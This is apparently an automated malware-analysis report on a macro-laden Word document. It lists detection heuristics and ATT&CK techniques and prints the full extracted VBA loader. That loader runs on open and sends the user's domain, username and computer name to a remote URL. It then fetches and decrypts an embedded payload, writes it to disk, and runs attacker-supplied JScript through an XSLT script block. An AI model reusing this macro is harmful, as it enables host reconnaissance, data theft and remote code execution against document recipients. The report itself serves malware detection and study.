MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate/Decode Files or Information
T1071.001 Web Protocols
The sample contains obfuscated VBA macros with an AutoOpen function, indicative of a macro-based downloader. The script uses CreateObject to instantiate objects like MSXML2.ServerXMLHTTP and WScript.Network, suggesting it attempts to download a payload from a remote source and potentially gather system information. The presence of an 'enable macros' lure further supports this attack pattern.
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Public Function LoadProperties() As String Set httpObject = CreateObject("MSXML2.ServerXMLHTTP") Set networkObject = CreateObject("WScript.Network") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Public Function LoadProperties() As String Set httpObject = CreateObject("MSXML2.ServerXMLHTTP") Set networkObject = CreateObject("WScript.Network") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() On Error GoTo Retry -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://www.w3.org/1999/XSL/TransformIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 8950 bytes |
SHA-256: b6b876cc106e4092fd0a72f4e39ac2e779b4463e0a160eef1d6457da99aa2ba2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
#If VBA7 Then
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) ' x64
#Else
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) ' x86
#End If
Public Function LoadProperties() As String
Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
Set networkObject = CreateObject("WScript.Network")
Set utf8Object = CreateObject("System.Text.UTF8Encoding")
Dim authHeader As String
authHeader = networkObject.userDomain & "\" & networkObject.UserName & ":" & networkObject.ComputerName
With CreateObject("MSXML2.DOMDocument").createElement("B64")
.DataType = "bin.base64"
.NodeTypedValue = utf8Object.GetBytes_4(authHeader)
authHeader = Replace(.Text, vbLf, "")
End With
httpObject.Open "GET", ActiveDocument.BuiltInDocumentProperties("Format"), False
httpObject.SetRequestHeader "Authorization", "Basic " & authHeader
httpObject.SetRequestHeader "Cache-Control", "no-cache"
httpObject.SetRequestHeader "Pragma", "no-cache"
httpObject.Send
If httpObject.Status = 200 Then
Set xmlPart = ActiveDocument.CustomXMLParts.Add(httpObject.responseText)
Dim xmlId As String: xmlId = ActiveDocument.CustomXMLParts.Item(ActiveDocument.CustomXMLParts.Count - 1).ID
LoadProperties = xmlId
End If
End Function
Function GetProperty(xmlId As String, key As String) As String
Set xmlParts = ActiveDocument.CustomXMLParts.SelectByID(xmlId)
GetProperty = xmlParts.SelectSingleNode("/properties/" & key).Text
End Function
Function BytesToBase64(bytes() As Byte) As String
With CreateObject("MSXML2.DOMDocument").createElement("B64")
.DataType = "bin.base64"
.NodeTypedValue = bytes
BytesToBase64 = Replace(.Text, vbLf, "")
End With
End Function
Function Base64ToBytes(b64Str As String) As Byte()
With CreateObject("MSXML2.DOMDocument").createElement("B64")
.DataType = "bin.base64"
.Text = b64Str
Base64ToBytes = .NodeTypedValue
End With
End Function
Public Function EncryptBytes(plaintextBytes, password, salt) As Byte()
Set utf8Object = CreateObject("System.Text.UTF8Encoding")
Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
Set sha256Object = CreateObject("System.Security.Cryptography.SHA256Managed")
Set rijndaelObject = CreateObject("System.Security.Cryptography.RijndaelManaged")
rijndaelObject.KeySize = 256
rijndaelObject.BlockSize = 128
rijndaelObject.Mode = 1
rijndaelObject.Padding = 2
rijndaelObject.key = sha256Object.ComputeHash_2(utf8Object.GetBytes_4(password))
rijndaelObject.IV = md5Object.ComputeHash_2(utf8Object.GetBytes_4(salt))
ciphertextBytes = rijndaelObject.CreateEncryptor().TransformFinalBlock((plaintextBytes), 0, LenB(plaintextBytes))
EncryptBytes = ciphertextBytes
End Function
Public Function DecryptBytes(ciphertextBytes, password, salt) As Byte()
On Error Resume Next
Set utf8Object = CreateObject("System.Text.UTF8Encoding")
Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
Set sha256Object = CreateObject("System.Security.Cryptography.SHA256Managed")
Set rijndaelObject = CreateObject("System.Security.Cryptography.RijndaelManaged")
rijndaelObject.KeySize = 256
rijndaelObject.BlockSize = 128
rijndaelObject.Mode = 1
rijndaelObject.Padding = 2
rijndaelObject.key = sha256Object.ComputeHash_2(utf8Object.GetBytes_4(password))
rijndaelObject.IV = md5Object.ComputeHash_2(utf8Object.GetBytes_4(salt))
plaintextBytes = rijndaelObject.CreateDecryptor().TransformFinalBlock((ciphertextBytes), 0, LenB(ciphertextBytes))
DecryptBytes = plaintextBytes
End Function
Public Function GetTrackingPixelHash(url As String) As String
Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
httpObject.Open "GET", url, False
httpObject.SetRequestHeader "Cache-Control", "no-cache"
httpObject.SetRequestHeader "Pragma", "no-cache"
httpObject.Send
If httpObject.Status = 200 Then
With CreateObject("MSXML2.DOMDocument").createElement("B64")
.DataType = "bin.base64"
.NodeTypedValue = md5Object.ComputeHash_2(httpObject.responseBody)
GetTrackingPixelHash = Replace(.Text, vbLf, "")
End With
End If
End Function
Public Function ValidateDocument(documentPath As String, validationLogic As String)
On Error Resume Next
Dim documentObject As Object
Dim documentString As String
Set documentObject = CreateObject("Outlook.Application").CreateObject("MSXML2.DOMDocument")
documentString = "<?xml version=""1.0"" ?>"
documentString = documentString & "<!-- <meta:validator document-path=""" & documentPath & """> -->"
documentString = documentString & "<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:ms=""urn:schemas-microsoft-com:xslt"" xmlns:user=""placeholder"">"
documentString = documentString & "<xsl:output method=""text"" version=""1.0"" />"
documentString = documentString & "<ms:script implements-prefix=""user"" language=""JScript"">"
documentString = documentString & "<![CDATA[" & vbCrLf & vbCrLf
documentString = documentString & validationLogic
documentString = documentString & vbCrLf & vbCrLf & "]]>"
documentString = documentString & "</ms:script>"
documentString = documentString & "</xsl:stylesheet>"
documentObject.LoadXML documentString
documentObject.transformNode documentObject
End Function
Sub UnlockDocument()
' Load properties.
Dim xmlId As String: xmlId = LoadProperties()
' Calculate salt.
Set networkObject = CreateObject("WScript.Network")
Dim userDomain As String: userDomain = UCase(networkObject.userDomain)
Dim trackingPixelHash As String: trackingPixelHash = GetTrackingPixelHash(GetProperty(xmlId, "trackingPixelUrl"))
Dim salt As String: salt = userDomain & "\" & trackingPixelHash
Dim encryptedSalt As String: encryptedSalt = GetProperty(xmlId, "encryptedSalt")
' Collect password from user.
Dim password As String: password = InputBox("Please enter the access code to unlock document." & vbCrLf & vbCrLf & "Contact the sender if the code is missing.")
' Validate password to fail early if password is incorrect.
On Error Resume Next
Set utf8Object = CreateObject("System.Text.UTF8Encoding")
If salt <> utf8Object.GetString(DecryptBytes(Base64ToBytes(encryptedSalt), password, salt)) Then
Dim answer As Integer: answer = MsgBox("Incorrect password. Try again?", vbExclamation + vbYesNo + vbDefaultButton1, "Microsoft Word")
If answer = vbYes Then
UnlockDocument
End If
Exit Sub
End If
' Decrypt document, save to disk.
On Error GoTo 0
Dim encryptedDocumentName As String: encryptedDocumentName = GetProperty(xmlId, "documentName")
Dim encryptedDocumentBody As String: encryptedDocumentBody = GetProperty(xmlId, "documentBody")
Dim decryptedDocumentName As String: decryptedDocumentName = utf8Object.GetString(DecryptBytes(Base64ToBytes(encryptedDocumentName), password, salt))
Dim decryptedDocumentPath As String: decryptedDocumentPath = Options.DefaultFilePath(wdDocumentsPath) & "\" & decryptedDocumentName
Dim fileHandle As Integer: fileHandle = FreeFile
Open decryptedDocumentPath For Binary Lock Read Write As #fileHandle
Put #fileHandle, , DecryptBytes(Base64ToBytes(encryptedDocumentBody), password, salt)
Close #fileHandle
' Validate document.
Dim validationLogic As String: validationLogic = GetProperty(xmlId, "validationLogic")
ValidateDocument decryptedDocumentPath, utf8Object.GetString(DecryptBytes(Base64ToBytes(validationLogic), password, salt))
' Open document.
Dim currentDocumentName As String: currentDocumentName = ActiveDocument.Name
Dim currentDocumentPath As String: currentDocumentPath = ActiveDocument.Path
Documents.Open decryptedDocumentPath
Documents(currentDocumentName).Close wdDoNotSaveChanges
End Sub
Sub AutoOpen()
On Error GoTo Retry
Retry:
UnlockDocument
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 22528 bytes |
SHA-256: 8f9e655bc25b9d0eb5ca440cbd4933b818f870a8f443e1cec2c15d6aa8f1ccc5 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.